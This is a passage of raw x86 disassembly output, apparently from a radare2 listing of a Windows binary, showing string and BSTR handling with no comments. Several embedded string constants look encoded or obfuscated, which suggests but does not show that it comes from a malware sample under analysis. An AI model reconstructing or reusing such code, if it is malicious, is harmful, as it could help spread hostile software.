mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435db0
lea ecx, [ebp - 0x1a0]
call fcn.00434c10
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.00467610
lea ecx, [ebp - 0xe4]
call fcn.0042ed00
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x52c551
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5293d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5e6
jmp 0x5293d0
sub esp, 0x18
mov ecx, esp
push 0x5c7748
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529c05
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529bd0
sub ecx, dword [ebp - 0x20]
je 0x529c05
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529c05
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529bf0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529c0c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529c40
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529c36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5eb
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a4f3
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529c80
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ca40
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.0044a330
add esp, 0x14
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c5f0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.ZDVaEbChUpKRgtRcQ
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042f410
test al, al
jne 0x529d91
push 0x13
push str.ZDVaEbChUpKRgtRcQ
lea ecx, [ebp - 0x3c]
call fcn.0042f740
mov byte [ebp - 4], 0xe
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c5fa
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push str.SlpxxMQY7gAkUepMxxU
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xf
call fcn.0042f410
test al, al
jne 0x529dd5
push 0x13
push str.SlpxxMQY7gAkUepMxxU
lea ecx, [ebp - 0x44]
call fcn.0042f740
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5cc3fc]
lea ecx, [ecx - 0x10]
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445630
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00434c90
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435db0
lea ecx, [ebp - 0x1a0]
call fcn.00434c10
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c604
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042f410
test al, al
jne 0x529ec8
test esi, esi
jne 0x529ea4
xor ecx, ecx
jmp 0x529ebf
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x529eb0
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042f740
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445630
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.004488d0
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042ed00
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5cc3fc]
lea ecx, [ecx - 0x10]
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445630
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00434c90
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435db0
lea ecx, [ebp - 0x1a0]
call fcn.00434c10
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c60e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042f410
test al, al
jne 0x529ffc
test esi, esi
jne 0x529fdf
xor ecx, ecx
jmp 0x529ff3
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x529fe4
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042f740
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445630
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.004488d0
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042ed00
mov byte [ebp - 4], 0x1d
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c618
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c622
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push str.WmNpsYyFBoCBMqHQVNDvIUEHdDC4KlDwo5KAh0KsNQ0aoQWBDjEkE1oBQ8GBKCoabLCoGpB0FgsQx0RWLwYUqHic
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042f410
test al, al
jne 0x52a0a8
push 0x59
push str.WmNpsYyFBoCBMqHQVNDvIUEHdDC4KlDwo5KAh0KsNQ0aoQWBDjEkE1oBQ8GBKCoabLCoGpB0FgsQx0RWLwYUqHic
lea ecx, [ebp - 0x38]
call fcn.0042f740
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x9f
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.RXBpsNz5SwCEc1TUlNMfZx8PkUSACpSw02UgZRFIxUbsfisW3BhV_QC0tC5NxxLhDWdVEHkRnUXEtYFLBRLbDWAHyGhtn8Hx1OxNRVLSDWdV9HkRnTDRQbIZwMBVWDIvpHl4reFAZAzZ0pLUWCMWiDEVnTDRQ
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042d7e0
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00434c90
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x84]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435db0
lea ecx, [ebp - 0x1a0]
call fcn.00434c10
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
call fcn.00434c90
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.00435db0
lea ecx, [ebp - 0x298]
call fcn.00434c10
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00434c90
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435db0
lea ecx, [ebp - 0x1a0]
call fcn.00434c10
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042eba0
lea ecx, [ebp - 0x20]
call fcn.00445250
mov byte [ebp - 4], 0x28
push dword [ebp - 0x50]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00421ac0
mov edx, dword [ebp - 0x20]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a247
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042ed00
lea ecx, [ebp - 0x130]
call fcn.0042ed00
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.0042ed00
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x50], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445630
mov ecx, dword [ebp - 0x50]
add esp, 4
call fcn.00464560
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00464560
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x52a30e
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52a304
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
push ecx
push edx
call fcn.0054fb04
add esp, 8
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a328
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a33f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a356
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52a36b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x52a3a2
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a398
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
push ecx
push edx
call fcn.0054fb04
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x52a3f1
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a3e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
push ecx
push edx
call fcn.0054fb04
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x52a446
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a43c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
push ecx
push edx
call fcn.0054fb04
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x52a49b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a491
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
push ecx
push edx
call fcn.0054fb04
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52c551
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5293d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
jmp 0x5293d0
sub esp, 0x18
mov ecx, esp
push 0x5c77a8
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a555
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a520
sub ecx, dword [ebp - 0x20]
je 0x52a555
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a555
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52a540
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a55c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a590
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a586
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c631
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a828
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a5d0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ca40
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c636
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x2c
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c640
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x2e
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c64a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x30
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c654
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c65e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x9c]
call fcn.00448ed0
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5cc4c0
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00423230
mov edi, dword [ebp - 0x70]
cmp byte [edi + 0xd], 0
jne 0x52c668
lea eax, [edi + 0x10]
push eax
push esi
call fcn.004271e0
test al, al
jne 0x52c668
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042eab0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x6c], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042eab0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0x40], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042eab0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042eab0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x70], esi
mov edi, dword [ebp - 0x24]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042eab0
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406480
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a7c8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a7df
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a7f6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52a80d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x52a4b6
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x52a4b6
sub esp, 0x18
mov ecx, esp
push 0x5c78c8
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a885
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a850
sub ecx, dword [ebp - 0x2c]
je 0x52a885
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a885
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52a870
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52a88c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a8c0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a8b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x52aa82
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a900
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c672
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c67c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x3d
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c686
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.0044b810
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x70], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042eab0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042eab0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042eab0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00408320
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52aa4d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52aa64
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52a4b6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x52a4b6
sub esp, 0x18
mov ecx, esp
push 0x5c76e8
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52aae5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52aab0
sub ecx, dword [ebp - 0x2c]
je 0x52aae5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52aae5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52aad0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52aaec
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52ab20
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52ab16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c62c
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x52ade5
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
